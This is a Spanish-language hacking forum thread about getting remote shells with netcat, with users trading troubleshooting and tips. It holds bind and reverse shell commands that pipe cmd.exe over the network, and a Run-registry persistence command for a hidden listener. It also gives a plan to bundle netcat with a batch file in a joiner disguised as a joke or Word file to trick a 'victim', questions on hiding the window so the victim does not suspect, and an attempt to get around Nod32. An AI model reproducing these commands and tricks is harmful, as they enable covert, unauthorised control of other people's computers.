Autor
|
Tema: Paper: Obtener shell con Netcat (Leído 59034 veces)
|
andrenio
Desconectado
Mensajes: 5
|
Buenas, esta es la primera vez que escribo en este foro. Bueno les cuento mi caso, he seguido con mucho detenimiento este post sobre netcat, ya he logrado muchas cosas. Estoy haciendo pruebas caseras, para luego pasar a las a otro plano. Lo que tengo
PC1 PC2 10.20.20.187 10.20.20.2 Linux Slackware 10.2 MS Windows Xp
En pc2 tengo el nc en la carpeta system32, y luego lo coloco a que espere conexiones, y que me entregue una linea de comandos. nc -L -p 1000 -e cmd.exe
En pc1 tengo instalado el proftp (ya he ensayado con otros y lo mismo da), ya esta configurado, logro entar desde todas las maquinas, y todo bien. Cuando me conecto atravez del nc al pc2 con el sig, comando nc 10.20.20.2 1000 Me sale el prompt de win, y todo bien, y luego intento ingresar por ftp al pc1 osea C:\ftp ftp open 10.20.20.187 username: xxxxxxx
Pero, el gran pero, el mensaje de pass, me sale en la maquina pc2, y no en la consola en la cual estoy.
Lo otro, estoy acostumbrado que cuando ingreso a mi maquina linux por ssh, bien sea desde otro linux, o con el Putty desde win, ejecuto los comandos como si estuviese alli mismo, aclaro, cuando ejecuto vi, de una me sale la interfas de vi. Pero ahora que tengo una shell remota de winxp, o eso creo que es lo que se logra con el nc, cuando ejecuto el edit, me sale al otro lado la interfas de dicho comando. 1. En pc1, con una consola, y una shell de win, servida por nc, como se descibio arriba 2. C:\edit 3 Sale la interfas de edit en la consola de pc2
Ahora estoy tratando de hacerlo con el tftp, ya lo configure en mi maquina linux, y cuando trato de acceder a los archivos que estan en este desde la maquina win esta me dice:
C:\Documents and Settings\Puli>tftp -i 10.20.20.187 get andres D:\andres tftp: tftp/udp: servicio desconocido
Aclaro, ya comprobe que el servicio de tftp esta arriba, y que el puerto esta a la escucha.
Bueno, espero haber sido lo bastante claro, es que les juro, no sabia como expresarme para que mis ideas y dudas fueran entendibles y no ser tan enredado. y me imagino que ud, ya se imaginan lo que estoy tratando de hacer con el nc.
Gracias de antemano.
|
|
|
|
|
En línea
|
|
|
|
andrenio
Desconectado
Mensajes: 5
|
Hola de nuevo yo !! Se supone que con la opcion -e el netcat sirve una aplicacion. Esa aplicacion puede ser cualquiera ?? Osea, si yo tengo dos maquinas. 10.20.20.2 Winxp 10.20.20.187 Slack Y en 10.20.20.2 coloco C:\nc -e Winvnc 10.20.20.187 1000 Y en el 10.20.20.2 andrenio@evo:~$ nc -l -p 1000
Entonces en mi linus tengo servido el servidor de vnc ??
Bueno pues lo estuve intentando y no lo da, por que ?? alguna idea, o sugerencia. Muchas gracias
|
|
|
|
|
En línea
|
|
|
|
dyegoz
Desconectado
Mensajes: 3
nada
|
 la verdad que hay algo que no entiendo si para plantar la shell sui o si hay que tener acceso fisico a la maquina eso es algo que no entendi..... respondanme!!!:...
|
|
|
|
|
En línea
|
dyegoz
|
|
|
dyegoz
Desconectado
Mensajes: 3
nada
|
hay que tener acceso fisic a la maquina para plantar shell?????????????????????????????????????????????????????????
|
|
|
|
|
En línea
|
dyegoz
|
|
|
vak`n
Desconectado
Mensajes: 4
|
hola alguien podria explicar mejor cuales serian los pasos para crear un archivo .exe que instalara el netcat en system32 y lo pusiera en el registro?? o un archivo .bat que descargara en netcat y lo instalara en el pc victima??
|
|
|
|
|
En línea
|
|
|
|
zionet
Desconectado
Mensajes: 1
|
Espero que este codigo te sirva de algo. Saludos!
//----------------------------------------------------------------------------- // registroWindowsInicioCS (04/Feb/04) // Poner nuestra aplicación en el registro para que se inicie automáticamente // también se comprobará si ya está y cómo quitarla. // // ©Guillermo 'guille' Som, 2004 //----------------------------------------------------------------------------- using System; using Microsoft.Win32;
class Class1 { /// /// Punto de entrada principal de la aplicación. /// [STAThread] static void Main(string[] args) { // En la línea de comandos se indicará la clave y el valor // El valor será el "path" completo de la aplicación // que queremos incluir en el registro dentro de la clave indicada // En el primer parámetro indicaremos la acción a realizar: // /A Añadir o modificar una clave // /E Eliminar la clave indicada // /R Recuperar el valor de la clave indicada, también se puede usar /M // Recuerda que en este código siempre se manejará la clave Run: // HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run // string msg = String.Format("Para usar esta aplicación debes indicar:{0}" + "Para añadir o modificar: /A clave path{0}" + "Para eliminar: /E clave{0}" + "Para mostrar el valor: /R clave o /M clave",'\n'); if( args.Length < 2 ){ Console.WriteLine(msg); return; } // string nombre = args[1]; switch(args[0].ToUpper()){ case "/A": case "-A": // si hay menos de tres argumentos // es que no se ha indicado el último parámetro if( args.Length < 3 ){ Console.WriteLine(msg); break; } string valor = args[2]; if( ponerEnInicio(nombre, valor) ){ Console.WriteLine("Se añadió / modificó correctamente la clave..."); } break; case "/E": case "-E": if( quitarDeInicio(nombre) ){ Console.WriteLine("Se quitó correctamente la clave..."); } break; case "/R": case "-R": case "/M": case "-M": Console.WriteLine(comprobarEnInicio(nombre)); break; } } // static private bool ponerEnInicio(string nombreClave, string nombreApp) { // Resgistrará en Inicio del registro la aplicación indicada // Devuelve True si todo fue bien, False en caso contrario // // Guardar la clave en el registro // HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run try { RegistryKey runK = Registry.LocalMachine.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true); // añadirlo al registro // Si el path contiene espacios se debería incluir entre comillas dobles if( nombreApp.StartsWith("\"") == false && nombreApp.IndexOf(" ") > -1 ) { nombreApp = "\"" + nombreApp + "\""; } runK.SetValue(nombreClave, nombreApp); return true; } catch(Exception ex ) { Console.WriteLine("ERROR al guardar en el registro.{0}Seguramente no tienes privilegios suficientes.{0}{1}{0}---xxx---{2}", '\n', ex.Message, ex.StackTrace); return false; } } // static private bool quitarDeInicio(string nombreClave) { // Quitará de Inicio la aplicación indicada // Devuelve True si todo fue bien, False en caso contrario // Si la aplicación no estaba en Inicio, devuelve True salvo que se produzca un error // try { RegistryKey runK = Registry.LocalMachine.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true); // quitar la clave indicada del registo runK.DeleteValue(nombreClave, false); return true; } catch(Exception ex ) { Console.WriteLine("ERROR al eliminar la clave del registro.{0}Seguramente no tienes privilegios suficientes.{0}{1}{0}---xxx---{2}", '\n', ex.Message, ex.StackTrace); return false; } // } // static private string comprobarEnInicio(string nombreClave) { // Comprobará si la clave indicada está asignada en Inicio // en caso de ser así devolverá el contenido, // en caso contrario devolverá una cadena vacia // Si se produce un error, se devolverá la cadena de error try { RegistryKey runK = Registry.LocalMachine.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", false); // comprobar si está return runK.GetValue(nombreClave, "").ToString(); } catch(Exception ex ) { return String.Format("ERROR al leer el valor de la clave del registro.{0}Seguramente no tienes privilegios suficientes.{0}{1}{0}---xxx---{2}", '\n', ex.Message, ex.StackTrace); } } }
|
|
|
|
|
En línea
|
|
|
|
soft
Desconectado
Mensajes: 297
Nadie nace sabiendo
|
SAludos
La verdad si hay una forma de crear un bat que inicie al netcat la situacion es enviarselo a la victima, hace tiempo lei un post donde decia como crear un registro (creo que era en el post de "ocultacion de un troyano" explicaba como crear un extension falsa ), me imagino que se puede hacer lo mismo que con un server de un troyano osea lo siguiente:
1- crear el bat para que coloque el registro en la respectiva llave y se inicie al encender la maquina remota.
2- tener el netcat (sin comentarios)
3- Empaquetarlos juntos (nectat + bat) con un joiner < colocar una animacion flash y que pase por una broma , crear un doc en word o excel que se yo algo con lo que se lo puedo engañar. y pinche .
4- La victima al dar click sobre el icono desaparecera y se ejecutara el nc (abria que definir el puerto a la escucha o conexion en la maquina remota).
no se piensen uds los programadores yo solo doy ideas, soy nuevo como uds, me interesa el tema nada mas y si alguien conoce una forma mas sencilla o tiene unexploit aplicable y actual que lo postee, pero la cuestion es que lo vaya explicando asi todos aprendemos, la cuestion es meter el maldito netcat en la otra maquina y ver como obtener la shell con la misma.
atte
James jenssen
|
|
|
|
|
En línea
|
No puedes ver lo que no Existe
|
|
|
vak`n
Desconectado
Mensajes: 4
|
quisiera saber si hay alguna forma de crear una instalacion por software que coloque el net.exe en windows/system32 ???
|
|
|
|
« Última modificación: 29 Mayo 2006, 20:35 por vak`n »
|
En línea
|
|
|
|
informatico_25
Desconectado
Mensajes: 14
|
hola, acabo de intentar hacer una shell remota con un amigo. El presenta un cable modem al igual que yo, por lo tanto tenemos ip´s estáticas.Dejo el puerto ( en mi ordenador ) 6000 en escucha ( nc -l -d -e cmd.exe -p 6000 ) y luego hago que mi amigo se conecte por ese puerto ( nc -vv 85.xxx.xxx.xxx 6000 ) y me sale este error. http://img20.imageshack.us/img20/3687/cmd15at.jpg¿me podrian ayudar?. Gracias
|
|
|
|
|
En línea
|
|
|
|
soft
Desconectado
Mensajes: 297
Nadie nace sabiendo
|
saludos cambia esto: Dejo el puerto ( en mi ordenador ) 6000 en escucha ( nc -l -d -e cmd.exe -p 6000 al hacer esto en tu maquina dejas el puerto 6000 abierto a esto nc -v -v -L -p 6000y esto deberia ir en la maquina de tu "amigo" nc -l -d -e cmd.exe -p 6000 para conectate pones nc -v-v la ip de tu amigo y el puerto ejemplo: nc -v -v 85.xxx.xxx.xxx 6000y ya estas a adentro o tambien puedes ponerle esto para que es se conecte a ti nc -L -d -e cmd.exe tu ip 6000nota : si tienen windows 95 o 98 el cmd.exe no funciona en estas versiones para esto usar la siguiente sintaxis: command.com Espero les sirva esto de algo Proximamente subire un extenso manual para usar el manual de netcat con ejemplos , dicho manual es en base a aporte de de muchas personas que han posteado. les dejo un link interesante http://foro.elhacker.net/index.php/topic,87109.0.htmlATTE JAMES JASSEN
|
|
|
|
|
En línea
|
No puedes ver lo que no Existe
|
|
|
informatico_25
Desconectado
Mensajes: 14
|
Gracias soft, lo probaré. Ahora tengo otra duda, cuando ( por ejemplo ) dejo mi puerto 80 y 25 en escucha ( nc -vv -l -p 80 nc -vv -l -p 25 ), y hago que mi amigo se conecte a mi por esos puertos ( nc [ip] [80] | cmd.exe | nc [ip] [25] ) se le queda en la ventana de la victima la pantalla del netcat abierta pero.... no hay una manera para que esa pantalla no se vea, porque sino la victima va a sopechar ¿no creeis?. Bueno espero que me contesten pronto. GRACIAS A TODOS
|
|
|
|
|
En línea
|
|
|
|
BloodeR
Desconectado
Mensajes: 17
|
Para agregar una nueva llave al registro desde una shell remota lo que tenemos que teclear seria lo siguiente:
Código: REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Netcat /t REG_SZ /d "C:\nc -l -d
-e cmd.exe -p 6000"
(asi seria tomendo en cuenta que el nc esta en el directorio raiz del hdd) che tengo un problemita con eso, la victima usa Nod32 y cada vez q se ejecuta esa secuencia salta la alerta y lo bloquea..  .. estuve testeando en mi red local y en la pc victima abri el nod32 el AMON y me fui hasta configuracion excpeciones y ahi agregue la direccion dodne se encuentra el nc.exe (c:\windows\system32\nc.exe) pero nada.. ayyudaa xd!!
|
|
|
|
|
En línea
|
|
|
|
informatico_25
Desconectado
Mensajes: 14
|
Hola, en este manual aclara que para poder iniciar un comando en el netcat, y que aparezca oculto hay que poner -d. Pues bien, yo configuré mi ordenador para que cada ves q se inicie deje en escucha el puerto 80 y el 25. Y tambien lo configure para que se iniciase la conexion a esos puerto ( nc -d [ip] 80 | cmd.exe | nc -d [ip] 25 ) y resulta que al iniciar la pc, se ejecuta la conexion hacia esos puertos, pero luego voy a escribir comandos en el listening 80 para que se me reflejen en listening 25 y se me cierran estas dos ventanas como si no estuviese conectado . ¿que puedo hacer?. N soy informatico eh. Muchas gracias adelantadas
|
|
|
|
|
En línea
|
|
|
|
|
zhyzura
|
seguro de que estas haciendo todos los pasos en ambas computadoras?
|
|
|
|
|
En línea
|
- - -->> Sie urteilen zu uns seiend unterschiedlich <<-- - - unser Durst des Wissens ist unersättlich
|
|
|
|
|
|
|